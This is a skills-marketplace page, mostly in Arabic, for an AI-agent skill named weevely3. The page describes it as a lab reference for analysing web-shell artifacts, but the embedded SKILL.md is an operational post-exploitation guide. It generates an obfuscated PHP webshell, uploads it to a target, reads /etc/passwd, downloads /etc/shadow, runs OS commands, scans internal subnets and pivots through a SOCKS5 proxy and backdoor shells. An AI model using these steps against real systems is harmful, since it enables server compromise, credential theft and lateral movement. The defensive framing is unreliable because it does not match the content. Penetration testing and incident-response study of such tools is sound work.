القائمة
Auth/lab ref: Weevely3 PHP web-shell artifact analysis; file ops, module inventory, pivot-risk review, containment and cleanup notes.
يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.
اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
يتجاوز الأمر المباشر Prompt المخصّص للمراجعة. افحص المصدر قبل تشغيله.
npx skills add https://github.com/AeonDave/malskill --skill weevely3يبقى الأمر في سطر واحد. مرّر أفقيًا لمراجعته كاملًا قبل النسخ.
تفضّل نسخة محلية؟ نزّل الملفات المتاحة حاليًا لدى SkillsMP.
Operate the MCPwn Kali/Debian MCP efficiently: manage sessions, discover catalog tools, choose synchronous, detached, or interactive execution, move files through workspace/CAS planes, establish tunnels and shells, and run GDB or Frida debugging in the MCPwn runtime or through explicit host/device transports. Use for MCPwn or Kali MCP work, pwn/CTF and dynamic-analysis sessions, remote targets, connectivity or file-transfer problems, and optional NeuroMatrix-backed emulation/debugging through MCPwn's emulation domain.
Operate the standalone, client-neutral NeuroMatrix emulation MCP: create isolated sessions, stage CAS artifacts, discover and run Unicorn/Qiling/QEMU/Renode tools, manage jobs and interactive processes, expose guest endpoints, and debug emulated targets with GDB. Use for reverse engineering, user-mode or full-system emulation, firmware/kernel/MCU analysis, guest-service rehosting, runtime-evidence collection, or as the optional emulation provider behind MCPwn or another orchestrator.
Create, implement, scaffold, migrate, or review Model Context Protocol (MCP) servers against modern MCP 2026-07-28. Use for server architecture, tool/resource/prompt contracts, stdio or Streamable HTTP transports, MRTR, optional extensions, authorization, security, and real-transport validation. Also use to isolate legacy initialization or session behavior. Do not use merely to configure an MCP client or invoke an existing server.
استنادا إلى تصنيف SOC المهني
عرض SKILL.md
| name | weevely3 |
| description | Auth/lab ref: Weevely3 PHP web-shell artifact analysis; file ops, module inventory, pivot-risk review, containment and cleanup notes. |
| license | MIT |
| compatibility | Python 3; Linux/macOS. |
| metadata | {"author":"AeonDave","version":"1.0"} |
Stealth PHP webshell with 30+ post-exploitation modules.
git clone https://github.com/epinna/weevely3
cd weevely3 && pip3 install -r requirements.txt
# Generate obfuscated PHP shell
python3 weevely.py generate MyPassword shell.php
# Upload shell.php to target
# Connect
python3 weevely.py http://target.com/uploads/shell.php MyPassword
| Command | Purpose |
|---|---|
:help | List all modules |
:file_read /etc/passwd | Read file |
:file_download /etc/shadow /tmp/shadow | Download file |
:file_upload /local/file /remote/path | Upload file |
:shell_sh "id" | Run OS command |
:net_scan 192.168.1.0/24 22,80,443 | Port scan |
:net_proxy socks5 | Start SOCKS5 proxy |
:audit_phpconf | Audit PHP config |
:bruteforce_sql | SQL brute-force |
:system_* for host context and process visibility:file_* for file enumeration, read/write, exfiltration:audit_* for privilege-escalation and security posture checks:net_* for internal scanning and proxy pivoting:backdoor_* for reverse/direct shell pivotsFull post-ex after upload:
:shell_sh "id && uname -a"
:file_read /etc/passwd
:net_scan 10.10.10.0/24 22,80,443
:net_proxy socks5 0.0.0.0 1080
Pivot via SOCKS5:
:net_proxy socks5 127.0.0.1 1080
# Configure proxychains → proxychains nmap internal_host
:system_info
:shell_sh "id && uname -a && pwd"
:audit_phpconf
:file_ls .
Then choose one branch:
:file_find, :file_read, :file_download):net_ifconfig, :net_scan, :net_proxy):audit_suidsgid, :audit_filesystem)| File | When to load |
|---|---|
references/module-playbooks.md | Practical module chains for triage, file loot, pivoting, and privilege-escalation reconnaissance |